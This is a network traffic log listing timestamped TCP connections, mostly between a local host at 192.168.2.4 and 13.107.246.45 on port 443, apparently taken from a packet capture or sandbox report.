Nov 1, 2024 03:46:07.294164896 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.294173956 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.316095114 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.365468025 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.411242008 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.411772013 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.412158966 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.413646936 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.413650990 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.419914961 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.419964075 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.420021057 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.422899008 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.422904968 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.504746914 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.508413076 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.528220892 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.528237104 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.528314114 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.528320074 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.529740095 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.529748917 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.530502081 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.530507088 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.530936956 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.530961990 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.531421900 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.531429052 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.532157898 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.532176971 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.532191992 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.532197952 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.536459923 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.536505938 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.536576986 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.538992882 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.539011002 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.541498899 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.541527987 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.541624069 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.541728020 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.541738987 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.568898916 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.569153070 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.569215059 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.569839954 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.569850922 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.569905043 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.569921017 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.573281050 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.573301077 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.573385954 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.573609114 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.573621035 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.618042946 CET	49724	80	192.168.2.4	199.232.210.172
Nov 1, 2024 03:46:07.623167992 CET	80	49724	199.232.210.172	192.168.2.4
Nov 1, 2024 03:46:07.623250961 CET	49724	80	192.168.2.4	199.232.210.172
Nov 1, 2024 03:46:07.654419899 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.654516935 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.654710054 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.658097029 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.658104897 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.658113956 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.658118010 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.658365011 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.658406019 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.660073042 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.665936947 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.665955067 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.665963888 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.665970087 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.677745104 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.677773952 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.677928925 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.682003021 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.682018995 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.683090925 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.683141947 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.683289051 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.683450937 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.683479071 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.270179987 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.270859957 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.270886898 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.271624088 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.271629095 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.283535004 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.283998966 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.284015894 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.284718037 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.284725904 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.288511992 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.288927078 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.288940907 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.289206028 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.289211035 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.405994892 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.406277895 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.406337023 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.409100056 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.409117937 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.409126997 CET	49816	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.409132957 CET	443	49816	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.413136959 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.413168907 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.413233042 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.413439035 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.413451910 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.415503025 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.415544033 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.415582895 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.415735960 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.415740967 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.415749073 CET	49818	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.415751934 CET	443	49818	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.418040037 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.418101072 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.418165922 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.418342113 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.418380976 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.418518066 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.418900013 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.418916941 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.418992996 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.419189930 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.419246912 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.419275999 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.419292927 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.419306993 CET	49817	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.419320107 CET	443	49817	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.419336081 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.419347048 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.419817924 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.420223951 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.420232058 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.420907021 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.420912981 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.421515942 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.421524048 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.421581984 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.421757936 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.421767950 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.548887968 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.548958063 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.549026012 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.549236059 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.549258947 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.549283981 CET	49820	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.549297094 CET	443	49820	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.550682068 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.550841093 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.550894022 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.550945044 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.550954103 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.550970078 CET	49819	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.550975084 CET	443	49819	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.552387953 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.552414894 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.552488089 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.552633047 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.552647114 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.552861929 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.552879095 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:08.552947998 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.553061008 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:08.553072929 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.137063026 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.137633085 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.137655973 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.138154984 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.138164997 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.151482105 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.151814938 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.151829004 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.152287006 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.152292013 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.179531097 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.180808067 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.180825949 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.181206942 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.181210041 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.266320944 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.266787052 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.266896009 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.266936064 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.266936064 CET	49822	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.266961098 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.266984940 CET	443	49822	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.269984961 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.270031929 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.270124912 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.270306110 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.270323992 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.280946016 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.281024933 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.281158924 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.281183958 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.281194925 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.281203985 CET	49823	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.281210899 CET	443	49823	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.283279896 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.283304930 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.283406019 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.283524036 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.283536911 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.287744999 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.288225889 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.288238049 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.288575888 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.288580894 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.293323040 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.293706894 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.293715954 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.294095039 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.294100046 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.314469099 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.314768076 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.314820051 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.314846992 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.314851999 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.314878941 CET	49821	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.314882040 CET	443	49821	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.316818953 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.316852093 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.316919088 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.317030907 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.317044973 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.418200016 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.418261051 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.420150995 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.420303106 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.420315981 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.420351982 CET	49824	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.420357943 CET	443	49824	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.422621965 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.422641993 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.424215078 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.424351931 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.424357891 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.424544096 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.424612999 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.428014040 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.428147078 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.428147078 CET	49825	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.428154945 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.428163052 CET	443	49825	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.430119991 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.430149078 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:09.432327986 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.432430029 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:09.432446003 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.037637949 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.044599056 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.049762011 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.084213972 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.099824905 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.102196932 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.153347969 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.189266920 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.193255901 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.193269014 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.197741985 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.197748899 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.198257923 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.198281050 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.198996067 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.199007034 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.199485064 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.199498892 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.200176954 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.200181961 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.200685978 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.200691938 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.201268911 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.201275110 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.201642036 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.201648951 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.202027082 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.202033043 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.324553013 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.324779034 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.324841976 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.326828957 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.326874018 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.326915026 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.335614920 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.335634947 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.335648060 CET	49829	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.335653067 CET	443	49829	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.337846041 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.337940931 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.337990999 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.338264942 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.338325024 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.338361979 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.346153021 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.346167088 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.346185923 CET	49826	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.346190929 CET	443	49826	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.363415956 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.363428116 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.363440037 CET	49827	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.363445044 CET	443	49827	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.365063906 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.365063906 CET	49828	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.365086079 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.365097046 CET	443	49828	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.393714905 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.393740892 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.393804073 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.395809889 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.395840883 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.395883083 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.396989107 CET	49831	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.397001028 CET	443	49831	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.397175074 CET	49832	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.397186995 CET	443	49832	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.398593903 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.398627043 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.398683071 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.399533033 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.399542093 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.399581909 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.399616003 CET	49833	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.399632931 CET	443	49833	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.399719954 CET	49834	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.399730921 CET	443	49834	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.493007898 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.493340015 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.493392944 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.509071112 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.509094954 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.509105921 CET	49830	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.509111881 CET	443	49830	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.535298109 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.535319090 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:10.535372972 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.535758018 CET	49835	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:10.535768986 CET	443	49835	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:11.114789009 CET	443	49831	13.107.246.45	192.168.2.4
